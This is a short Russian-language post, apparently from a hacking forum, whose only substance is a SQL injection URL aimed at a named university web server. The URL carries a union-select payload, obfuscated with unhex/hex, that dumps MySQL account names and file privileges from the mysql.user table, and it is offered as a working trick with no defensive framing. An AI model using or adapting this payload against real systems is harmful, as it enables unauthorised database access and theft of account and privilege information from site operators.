Даже вот так можно
http://yarra.ics.uci.edu/umich2/getdoc1.php?rid=-21595+union+select+unhex(hex(group_concat(0x0a,use r,0x3a,file_priv))),2,3,4,5+from+mysql.user/*